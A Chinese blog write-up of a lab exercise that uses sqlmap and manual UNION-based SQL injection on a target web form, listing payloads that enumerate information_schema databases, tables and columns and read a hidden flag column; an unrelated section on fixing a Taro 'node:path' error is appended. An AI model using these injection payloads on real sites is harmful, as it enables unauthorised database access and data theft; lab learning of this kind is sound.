系统安全实验——Web表单SQL注入

作者通过使用sqlmap工具尝试SQL注入,最初以为flag在user表的password字段,但解密后发现错误。在他人提示下,尝试了Web表单注入,最终在databaseqwerty的table23335中找到名为pwd88s的列,该列内容即为flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目要求

打开浏览器,进入靶机ip对应的网页,对其后台的数据库进行注入攻击,得到flag

摸索过程

sqlmap

一开始搜索的都是“SQL注入”,答案一般都需要工具sqlmap。

下载安装后,根据一些基本SQL注入语句,查看了qwerty中的user表,里面有user_id,user_name和password。

根据以往的实验来讲,一般flag就是password嘛,拿到这一串东西:

bcbe3365e6ac95ea2c0343a2395834dd 

我还用md5解密得到222.

但是,答案错误!

到底是哪里出问题了呢?一个多小时的摸索在这里停滞,不知如何是好。

Web表单注入

在助教老师和同学的提点下,换一个关键词搜索。搜到了这篇文章,感觉非常对口。

web 漏洞入门之 —— SQL 注入教程_实验楼v的博客-优快云博客

从数据库-table-column一步步走下去,诶?怎么还是这个md5串?!

1'+union+select+password+from+user 

崩溃!跟蓝朋友出去吃了个《食古论今》啃完猪蹄后回来继续做。

重整思路

也许flag根本就不是user的password。又想起来qwerty数据库里除了user还有一个奇怪的名字table23335,当时因为注意力全被user吸引,就没注意它。

实验步骤

进入靶机网页后,再输入栏中输入:

1.查所有数据库

-1' union select schema_name from information_schema.SCHEMATA#

那两个带schema的应该是sql自带的配置不用管,我也进mysql看了一下,没有什么有价值的东西,所以正确答案一定还在qwerty里!

2.查qwerty数据库所有表

-1' union select table_name from information_schema.tables where table_schema="qwerty"#

 3.查table23335的所有列

-1' union select column_name from information_schema.columns where table_name="table23335"#

这时候我恍然大悟。这个pwd88s与题目的提示“pwdxxx”很像呀!就是它! 

4.看pwd88s的内容

 -1' union select pwd88s from qwerty.table23335#

 啊!这小串数字太亲切啦!它就是flag!

总结与反思

所以其实sqlmap的方法也是可用的,甚至打的字可能还少一些。只要选对了表!!!

以后不要想当然,要广撒网。

做不出来就去啃个猪蹄儿!

### 解决 Taro 项目中无法找到 `node:path` 模块的问题 在处理 Taro 项目的依赖问题时,如果遇到错误提示 "Cannot find module 'node:path'", 可能的原因之一是 Node.js 版本不兼容或者是由于某些环境配置不当引起的。 对于这个问题,在较新的Node版本中,部分核心模块如path被移至`node:`协议下。因此,当旧版Taro或其他依赖尝试直接引入`node:path`时可能会报错[^1]。为了修复此问题,可以采取以下几种方法: #### 方法一:更新 Taro 和相关依赖包到最新稳定版本 确保所使用的 Taro CLI 工具以及所有关联的 npm 包都是最新的稳定版本。可以通过执行如下命令来完成升级操作: ```bash npm install -g @tarojs/cli cd your-taro-project npm update ``` #### 方法二:降级 Node.js 至 LTS 版本 有时特定的大版本之间的变更可能导致一些库不再支持新特性或语法糖。考虑到这一点,切换回长期支持 (LTS) 的 Node.js 版本可能有助于解决问题。使用 nvm(Node Version Manager)工具可以帮助轻松管理多个 Node.js 版本共存于同一台机器上。 ```bash nvm install --lts nvm use lts ``` #### 方法三:修改 Webpack 配置文件排除 node_modules 中的路径解析 如果上述两种方式均未能有效解决该问题,则考虑调整 webpack.config.js 文件中的配置项,通过设置 alias 或者其他手段绕过对 `node:path` 的引用。具体实现取决于实际应用场景和个人偏好。 需要注意的是,以上建议基于一般情况下的解决方案;针对具体情况还需要进一步排查日志信息并分析根本原因所在。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值